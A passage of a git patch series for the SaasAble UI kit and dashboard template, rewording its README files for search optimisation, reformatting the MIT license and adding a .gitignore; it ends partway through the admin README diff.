From 349b216f02df410c127e9add4213eae6bfde00c0 Mon Sep 17 00:00:00 2001 From: Tushar Date: Thu, 30 Apr 2026 11:42:15 +0530 Subject: [PATCH 1/2] main readme.md changes for seo --- README.md | 178 ++++++++++++++++++------------------------ uikit/react/README.md | 6 +- 2 files changed, 82 insertions(+), 102 deletions(-) diff --git a/README.md b/README.md index a3093840..5d54d2b1 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,11 @@ -# SaasAble Free Tailwind & React Material UI, UI-Kit with Dashboard Template +# SaasAble Free Multipurpose UI Kit and Dashboard Template [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) -SaasAble is a complete solution for building SaaS products as well as non-SaaS products. Whether you’re creating a user-friendly front-end or a powerful admin dashboard, SaasAble has all the tools you need. It’s also flexible — perfect not just for SaaS but also for agencies, digital products, CRMs, blogs, AI platforms, project management, learning systems, and more. +SaasAble is a complete solution for building SaaS and non-SaaS products. Whether you’re crafting a clean, user-friendly front end or a powerful admin dashboard, it provides everything you need to launch quickly and scale with confidence. + +What truly sets SaasAble apart is its flexibility. It’s not just built for SaaS, but it adapts seamlessly to agencies, digital products, CRMs, blogs, AI platforms, project management tools, learning systems, and more. ✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine @@ -18,58 +20,61 @@ SaasAble is a complete solution for building SaaS products as well as non-SaaS p - [What's included in Premium Version?](#whats-included-in-premium-version) - [Documentation](#documentation) - [Browser support](#browser-support) -- [Technology Stack](#technology-stack) - [SaasAble Figma UI Kit](#saasable-figma-ui-kit) -- [More products from PhoenixCoded](#more-products-from-phoenixcoded) +- [More products from Phoenixcoded](#more-products-from-phoenixcoded) - [Issues?](#issues) - [License](#license) - [Contributor](#contributor) -- [Follow us](#follow-us) ## Getting Started -1. Clone from Github - -``` -git clone https://github.com/phoenixcoded/saasable-ui.git -``` - -2. Goto `uikit / admin / tailwind` directory and Install Packages - -``` -npm install -``` - -3. Run project - -``` -For React - -npm run dev -``` - -``` -For Vite Admin - -npm run start -``` - -``` -For Tailwind - -gulp -``` +1. **Clone the repository** + ``` + git clone https://github.com/phoenixcoded/saasable-ui.git + ``` + +2. **Choose your project and follow the steps below:** + + - **Admin (Next.js)** + ``` + cd admin/nextjs + npm install + npm run dev + ``` + + - **Admin (Vite)** + ``` + cd admin/vite + npm install + npm run start + ``` + + - **UI Kit (React)** + ``` + cd uikit/react + npm install + npm run dev + ``` + + - **UI Kit (Tailwind)** + ``` + cd uikit/tailwind + npm install + gulp + ``` + +3. **Open the local server URL shown in your terminal to view the app.** ## Download | Product | Preview | Download | | -------------------- | ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -| Admin Free | [**Live Preview**](https://free.admin.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | -| Admin Pro | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | -| Ui Kit React Free | [**Live Preview**](https://free.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui/) | -| Ui Kit React Pro | [**Live Preview**](https://saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | -| Ui Kit Tailwind Free | [**Live Preview**](https://tailwind.saasable.io/free) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | -| Ui Kit Tailwind Pro | [**Live Preview**](https://tailwind.saasable.io/) | [**Download**](https://codedthemes.com/item/saasable-tailwind-ui-kit/) | +| Admin Free | [**Live Preview**](https://free.admin.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | +| Admin Pro | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | +| Ui Kit React Free | [**Live Preview**](https://free.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui/) | +| Ui Kit React Pro | [**Live Preview**](https://saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | +| Ui Kit Tailwind Free | [**Live Preview**](https://tailwind.saasable.io/free) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | +| Ui Kit Tailwind Pro | [**Live Preview**](https://tailwind.saasable.io/) | [**Download**](https://codedthemes.com/item/saasable-tailwind-ui-kit/) | ## Deploy your own @@ -79,44 +84,29 @@ You can deploy your own version of Next.js Sassable to Vercel with one click: ## Why SaasAble? -React - -The SaasAble theme is a modern, responsive, and highly customizable solution for SaaS applications, dashboards, and admin panels. It comes with pre-built components, dark and light modes, and is optimized for performance and scalability. With regular updates. It saves development time while ensuring a professional and polished UI. - -Tailwind +SaasAble is a modern, responsive, and easy-to-customize theme built for SaaS apps, dashboards, and admin panels. It comes with ready-to-use components and flexible layouts, helping you build faster without starting from scratch. -The SaasAble theme is a sleek, responsive, and fully customizable solution built with Tailwind CSS and pure HTML. Designed for SaaS applications, dashboards, and admin panels, it offers a lightweight structure with utility-first styling. It includes a collection of pre-built components, supports both dark and light modes, and ensures fast performance and flexibility. With clean markup and regular updates, it helps developers build professional UIs quickly and efficiently—without relying on complex JavaScript frameworks. - -- Modern & Responsive Design -- Pre-Built Components & Layouts -- Fully Responsive, all modern browser supported -- Customizable & Scalable -- Dark & Light Modes -- Performance Optimized -- Integration Ready -- Easy Documentation Guide +It’s designed to perform well across all modern browsers and has a clean, well-structured setup that makes integration simple. With clear documentation and a smooth developer experience, you can create professional-looking UIs quickly and efficiently. ## What's included in Premium Version? -Looking for even more features? Check out SaasAble's [premium version](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/), which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). +Looking for even more features? Check out SaasAble's premium version, which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). -| [SaasAble Ui Kit React Free](https://free.saasable.io/) | [SaasAble Ui Kit React Pro](https://www.saasable.io/) | +| [SaasAble Free React Ui Kit](https://free.saasable.io/) | [SaasAble Pro React Ui Kit](https://www.saasable.io/) | | ------------------------------------------------------------------------------ | :---------------------------------------------------- | -| **1** Demo Landing | **7+** Demo Landing | -| **25** Component Blocks | **200+** Component blocks | +| **1** Demo Landing | Demo Landing (7+) | +| **25** Component Blocks | [Component blocks](https://saasable.io/sections) (200+) | | - | ✓ Dark/Light Mode 🌓 | | - | ✓ TypeScript version | | - | ✓ Design files (Figma) | | - | ✓ Multiple color options | | - | ✓ RTL | -| - | ✓ Supabase authentication | -| - | ✓ [More components](https://saasable.io/sections) | | ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | -| [SaasAble Admin Free](https://free.saasable.io/) | [SaasAble Admin Pro](https://www.saasable.io/) | +| [SaasAble Free React Admin](https://free.saasable.io/) | [SaasAble Pro React Admin](https://www.saasable.io/) | | ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | -| **9** Demo Pages | **45+** Demo Landing | -| | ✓ Multi-language | +| **9** Demo Pages | Demo Pages (45+) | +| - | ✓ Multi-language | | - | ✓ Dark/Light Mode 🌓 | | - | ✓ TypeScript version | | - | ✓ Design files (Figma) | @@ -126,52 +116,45 @@ Looking for even more features? Check out SaasAble's [premium version](https://m | - | ✓ [More components](https://admin.saasable.io/data-display/avatar) | | ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | -| [SaasAble Ui kit Tailwind Free](https://tailwind.saasable.io/free) | [SaasAble Ui kit Tailwind Pro](https://tailwind.saasable.io) | +| [SaasAble Free Tailwind Ui Kit](https://tailwind.saasable.io/free) | [SaasAble Pro Tailwind Ui Kit](https://tailwind.saasable.io) | | ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | -| **1** Demo Landing | **7+** Demo Landing | -| **25** Component Blocks | **200+** Component blocks | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ Role Base Authentication | -| - | ✓ RTL | -| - | ✓ [More components](https://tailwind.saasable.io/block/block.html) | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | +| **1** Demo Landing | Demo Landing (7+) | +| **25** Component Blocks | [Component blocks](https://tailwind.saasable.io/block/block.html) (200+) | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ Design files (Figma) | +| - | ✓ Multiple color options | +| - | ✓ RTL | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://codedthemes.com/license/) | ## Documentation -[SaasAble Documentation](https://phoenixcoded.gitbook.io/saasable) helps you with installation, deployment, and troubleshooting. +[SaasAble React Documentation](https://phoenixcoded.gitbook.io/saasable) helps you with installation, deployment, and troubleshooting. [SaasAble Ui Kit Tailwind Documentation](https://phoenixcoded.gitbook.io/saasable-tailwind) helps you with installation, deployment, and troubleshooting. ## Browser support - - -## Technology Stack - -- React 19 -- Next 16 -- Vite -- TypeScript -- Material UI v7 -- JavaScript -- Material 3 -- Figma -- Tailwind -- npm/yarn package installer +
+ Chrome + Edge + Safari + Firefox + Opera +
## SaasAble Figma UI Kit | UI KIT | ADMIN | | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | -| Figma Free | Figma Free | -| Figma Pro | Figma Free | +| Figma Free | Figma Free | +| Figma Pro | Figma Free | -## More products from PhoenixCoded +## More products from Phoenixcoded | Dashboard | FREE | PRO | | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | -| | - | [**Pro**](https://1.envato.market/EKD9M4) | -| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://1.envato.market/zNkqj6) | +| | - | **Pro** | +| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | **Pro** | ## Issues @@ -183,15 +166,10 @@ To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasab ## Contributor -**PhoenixCoded Team** +**Phoenixcoded Team** - https://github.com/phoenixcoded **Brijesh Dobariya** - https://x.com/dobaria_brijesh - -## Follow us - -- [Github](https://github.com/phoenixcoded) -- [Phoenixcoded](https://themeforest.net/user/phoenixcoded) diff --git a/uikit/react/README.md b/uikit/react/README.md index 6ab1a609..4f44a3ce 100644 --- a/uikit/react/README.md +++ b/uikit/react/README.md @@ -1,9 +1,11 @@ -# SaasAble Free React Material UI, UI-Kit +# SaasAble Free React Material UI UI-Kit [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) -SaasAble is a complete solution for building SaaS products as well as non-SaaS products. Whether you’re creating a user-friendly front-end or a powerful admin dashboard, SaasAble has all the tools you need. It’s also flexible — perfect not just for SaaS but also for agencies, digital products, CRMs, blogs, AI platforms, project management, learning systems, and more. +SaasAble is a complete UI kit for building modern React applications, focused on creating clean and user-friendly interfaces. It provides everything you need to design and develop consistent, scalable UIs efficiently. + +It’s highly flexible making it a great fit for SaaS products, agencies, digital platforms, CRMs, blogs, AI tools, project management systems, learning platforms, and more. ✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine From d44ea338fbee5b823631aebccfe7fb5163a8d900 Mon Sep 17 00:00:00 2001 From: Tushar Date: Thu, 30 Apr 2026 17:51:58 +0530 Subject: [PATCH 2/2] seo changes in readme file --- .gitignore | 2 + LICENSE | 42 ++--- README.md | 350 ++++++++++++++++++------------------- admin/nextjs/README.md | 298 +++++++++++++++---------------- admin/vite/vite.config.mjs | 60 ++++--- uikit/react/README.md | 297 +++++++++++++++---------------- uikit/tailwind/README.md | 248 +++++++++++++------------- 7 files changed, 654 insertions(+), 643 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..e147d393 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +config.bat +node_modules diff --git a/LICENSE b/LICENSE index a226d7c1..a7095ede 100644 --- a/LICENSE +++ b/LICENSE @@ -1,21 +1,21 @@ -MIT License - -Copyright (c) 2026 PhoenixCoded - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. +MIT License + +Copyright (c) 2026 Phoenixcoded + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 5d54d2b1..5f94c62c 100644 --- a/README.md +++ b/README.md @@ -1,175 +1,175 @@ -# SaasAble Free Multipurpose UI Kit and Dashboard Template - -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -SaasAble is a complete solution for building SaaS and non-SaaS products. Whether you’re crafting a clean, user-friendly front end or a powerful admin dashboard, it provides everything you need to launch quickly and scale with confidence. - -What truly sets SaasAble apart is its flexibility. It’s not just built for SaaS, but it adapts seamlessly to agencies, digital products, CRMs, blogs, AI platforms, project management tools, learning systems, and more. - -✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine - -![SaasAble Free React UI kit and Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) - -## Table of contents - -- [Getting Started](#getting-started) -- [Download](#download) -- [Depoly](#deploy-your-own) -- [Why SaasAble?](#why-saasable) -- [What's included in Premium Version?](#whats-included-in-premium-version) -- [Documentation](#documentation) -- [Browser support](#browser-support) -- [SaasAble Figma UI Kit](#saasable-figma-ui-kit) -- [More products from Phoenixcoded](#more-products-from-phoenixcoded) -- [Issues?](#issues) -- [License](#license) -- [Contributor](#contributor) - -## Getting Started - -1. **Clone the repository** - ``` - git clone https://github.com/phoenixcoded/saasable-ui.git - ``` - -2. **Choose your project and follow the steps below:** - - - **Admin (Next.js)** - ``` - cd admin/nextjs - npm install - npm run dev - ``` - - - **Admin (Vite)** - ``` - cd admin/vite - npm install - npm run start - ``` - - - **UI Kit (React)** - ``` - cd uikit/react - npm install - npm run dev - ``` - - - **UI Kit (Tailwind)** - ``` - cd uikit/tailwind - npm install - gulp - ``` - -3. **Open the local server URL shown in your terminal to view the app.** - -## Download - -| Product | Preview | Download | -| -------------------- | ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -| Admin Free | [**Live Preview**](https://free.admin.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | -| Admin Pro | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | -| Ui Kit React Free | [**Live Preview**](https://free.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui/) | -| Ui Kit React Pro | [**Live Preview**](https://saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | -| Ui Kit Tailwind Free | [**Live Preview**](https://tailwind.saasable.io/free) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | -| Ui Kit Tailwind Pro | [**Live Preview**](https://tailwind.saasable.io/) | [**Download**](https://codedthemes.com/item/saasable-tailwind-ui-kit/) | - -## Deploy your own - -You can deploy your own version of Next.js Sassable to Vercel with one click: - -[![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Fvercel%2Fnext.js%2Ftree%2Fcanary%2Fexamples%2Fhello-world) - -## Why SaasAble? - -SaasAble is a modern, responsive, and easy-to-customize theme built for SaaS apps, dashboards, and admin panels. It comes with ready-to-use components and flexible layouts, helping you build faster without starting from scratch. - -It’s designed to perform well across all modern browsers and has a clean, well-structured setup that makes integration simple. With clear documentation and a smooth developer experience, you can create professional-looking UIs quickly and efficiently. - -## What's included in Premium Version? - -Looking for even more features? Check out SaasAble's premium version, which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). - -| [SaasAble Free React Ui Kit](https://free.saasable.io/) | [SaasAble Pro React Ui Kit](https://www.saasable.io/) | -| ------------------------------------------------------------------------------ | :---------------------------------------------------- | -| **1** Demo Landing | Demo Landing (7+) | -| **25** Component Blocks | [Component blocks](https://saasable.io/sections) (200+) | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ TypeScript version | -| - | ✓ Design files (Figma) | -| - | ✓ Multiple color options | -| - | ✓ RTL | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | - -| [SaasAble Free React Admin](https://free.saasable.io/) | [SaasAble Pro React Admin](https://www.saasable.io/) | -| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | -| **9** Demo Pages | Demo Pages (45+) | -| - | ✓ Multi-language | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ TypeScript version | -| - | ✓ Design files (Figma) | -| - | ✓ Role Base Authentication | -| - | ✓ RTL | -| - | ✓ Supabase, AWS authentication | -| - | ✓ [More components](https://admin.saasable.io/data-display/avatar) | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | - -| [SaasAble Free Tailwind Ui Kit](https://tailwind.saasable.io/free) | [SaasAble Pro Tailwind Ui Kit](https://tailwind.saasable.io) | -| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | -| **1** Demo Landing | Demo Landing (7+) | -| **25** Component Blocks | [Component blocks](https://tailwind.saasable.io/block/block.html) (200+) | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ Design files (Figma) | -| - | ✓ Multiple color options | -| - | ✓ RTL | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://codedthemes.com/license/) | - -## Documentation - -[SaasAble React Documentation](https://phoenixcoded.gitbook.io/saasable) helps you with installation, deployment, and troubleshooting. - -[SaasAble Ui Kit Tailwind Documentation](https://phoenixcoded.gitbook.io/saasable-tailwind) helps you with installation, deployment, and troubleshooting. - -## Browser support - -
- Chrome - Edge - Safari - Firefox - Opera -
- -## SaasAble Figma UI Kit - -| UI KIT | ADMIN | -| ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | -| Figma Free | Figma Free | -| Figma Pro | Figma Free | - -## More products from Phoenixcoded - -| Dashboard | FREE | PRO | -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | -| | - | **Pro** | -| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | **Pro** | - -## Issues - -To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. - -## License - -- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -## Contributor - -**Phoenixcoded Team** - -- https://github.com/phoenixcoded - -**Brijesh Dobariya** - -- https://x.com/dobaria_brijesh +# SaasAble Free Multipurpose UI Kit and Dashboard Template + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +SaasAble is a complete solution for building SaaS and non-SaaS products. Whether you’re crafting a clean, user-friendly front end or a powerful admin dashboard, it provides everything you need to launch quickly and scale with confidence. + +What truly sets SaasAble apart is its flexibility. It’s not just built for SaaS, but it adapts seamlessly to agencies, digital products, CRMs, blogs, AI platforms, project management tools, learning systems, and more. + +✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine + +![SaasAble Free React UI kit and Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) + +## Table of contents + +- [Getting Started](#getting-started) +- [Download](#download) +- [Depoly](#deploy-your-own) +- [Why SaasAble?](#why-saasable) +- [What's included in Premium Version?](#whats-included-in-premium-version) +- [Documentation](#documentation) +- [Browser support](#browser-support) +- [SaasAble Figma UI Kit](#saasable-figma-ui-kit) +- [More products from Phoenixcoded](#more-products-from-phoenixcoded) +- [Issues?](#issues) +- [License](#license) +- [Contributor](#contributor) + +## Getting Started + +1. **Clone the repository** + ``` + git clone https://github.com/phoenixcoded/saasable-ui.git + ``` + +2. **Choose your project and follow the steps below:** + + - **Admin (Next.js)** + ``` + cd admin/nextjs + npm install + npm run dev + ``` + + - **Admin (Vite)** + ``` + cd admin/vite + npm install + npm run start + ``` + + - **UI Kit (React)** + ``` + cd uikit/react + npm install + npm run dev + ``` + + - **UI Kit (Tailwind)** + ``` + cd uikit/tailwind + npm install + gulp + ``` + +3. **Open the local server URL shown in your terminal to view the app.** + +## Download + +| Product | Preview | Download | +| ------- | ------- | -------- | +| Free React Admin | [**Live Preview**](https://free.admin.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | +| Pro React Admin | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | +| Free React Ui Kit | [**Live Preview**](https://free.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui/) | +| Pro React Ui Kit | [**Live Preview**](https://saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | +| Free Tailwind Ui Kit | [**Live Preview**](https://tailwind.saasable.io/free) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | +| Pro Tailwind Ui Kit | [**Live Preview**](https://tailwind.saasable.io/) | [**Download**](https://codedthemes.com/item/saasable-tailwind-ui-kit/) | + +## Deploy your own + +You can deploy your own version of Next.js Sassable to Vercel with one click: + +[![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Fvercel%2Fnext.js%2Ftree%2Fcanary%2Fexamples%2Fhello-world) + +## Why SaasAble? + +SaasAble is a modern, responsive, and easy-to-customize theme built for SaaS apps, dashboards, and admin panels. It comes with ready-to-use components and flexible layouts, helping you build faster without starting from scratch. + +It’s designed to perform well across all modern browsers and has a clean, well-structured setup that makes integration simple. With clear documentation and a smooth developer experience, you can create professional-looking UIs quickly and efficiently. + +## What's included in Premium Version? + +Looking for even more features? Check out SaasAble's premium version, which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). + +| [SaasAble Free React Ui Kit](https://free.saasable.io/) | [SaasAble Pro React Ui Kit](https://www.saasable.io/) | +| ------------------------------------------------------------------------------ | :---------------------------------------------------- | +| **1** Demo Landing | Demo Landing (7+) | +| **25** Component Blocks | [Component blocks](https://saasable.io/sections) (200+) | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ TypeScript version | +| - | ✓ Design files (Figma) | +| - | ✓ Multiple color options | +| - | ✓ RTL | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | + +| [SaasAble Free React Admin](https://free.saasable.io/) | [SaasAble Pro React Admin](https://www.saasable.io/) | +| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | +| **9** Demo Pages | Demo Pages (45+) | +| - | ✓ Multi-language | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ TypeScript version | +| - | ✓ Design files (Figma) | +| - | ✓ Role Base Authentication | +| - | ✓ RTL | +| - | ✓ Supabase, AWS authentication | +| - | ✓ [More components](https://admin.saasable.io/data-display/avatar) | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | + +| [SaasAble Free Tailwind Ui Kit](https://tailwind.saasable.io/free) | [SaasAble Pro Tailwind Ui Kit](https://tailwind.saasable.io) | +| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | +| **1** Demo Landing | Demo Landing (7+) | +| **25** Component Blocks | [Component blocks](https://tailwind.saasable.io/block/block.html) (200+) | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ Design files (Figma) | +| - | ✓ Multiple color options | +| - | ✓ RTL | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://codedthemes.com/license/) | + +## Documentation + +[SaasAble React Documentation](https://phoenixcoded.gitbook.io/saasable) helps you with installation, deployment, and troubleshooting. + +[SaasAble Ui Kit Tailwind Documentation](https://phoenixcoded.gitbook.io/saasable-tailwind) helps you with installation, deployment, and troubleshooting. + +## "Browser support" + +

+ Chrome + Edge + Safari + Firefox + Opera +

+ +## SaasAble Figma UI Kit + +| UI KIT | ADMIN | +| ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | +| Figma Free | Figma Free | +| Figma Pro | Figma Free | + +## More products from Phoenixcoded + +| Dashboard | FREE | PRO | +|-----------|------|-----| +| | — | [**Pro**](https://codedthemes.com/item/light-able/) | +| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://codedthemes.com/item/able-pro-dashboard-templates/) | + +## Issues + +To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. + +## License + +- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +## Contributor + +**Phoenixcoded Team** + +- https://github.com/phoenixcoded + +**Brijesh Dobariya** + +- https://x.com/dobaria_brijesh diff --git a/admin/nextjs/README.md b/admin/nextjs/README.md index 8af55987..60735f88 100644 --- a/admin/nextjs/README.md +++ b/admin/nextjs/README.md @@ -1,146 +1,152 @@ -# SaasAble Free React Material UI,Admin Dashboard Template - -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -SaasAble is a complete solution for building SaaS products as well as non-SaaS products. Whether you’re creating a user-friendly front-end or a powerful admin dashboard, SaasAble has all the tools you need. It’s also flexible — perfect not just for SaaS but also for agencies, digital products, CRMs, blogs, AI platforms, project management, learning systems, and more. - -✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine. - -![SaasAble Free React UI kit and Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) - -## Table of contents - -- [Getting Started](#getting-started) -- [Download](#download) -- [Why SaasAble?](#why-saasable) -- [What's included in Premium Version?](#whats-included-in-premium-version) -- [Documentation](#documentation) -- [Browser support](#browser-support) -- [Technology Stack](#technology-stack) -- [SaasAble Figma Admin](#saasable-figma-admin) -- [More products from PhoenixCoded](#more-products-from-phoenixcoded) -- [Issues?](#issues) -- [License](#license) -- [Contributor](#contributor) -- [Follow us](#follow-us) - -## Getting Started - -1. Clone from Github - -``` -git clone https://github.com/phoenixcoded/saasable-ui.git -``` - -2. Goto `admin` directory and Install Packages - -``` -npm install -``` - -3. Run project - -``` -npm run dev -``` - -## Download - -| Product | Preview | Download | -| -------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | -| Admin Free | [**Live Preview**](https://free.admin.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | -| Admin Pro | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | - - -## Why SaasAble? - -The SaasAble theme is a 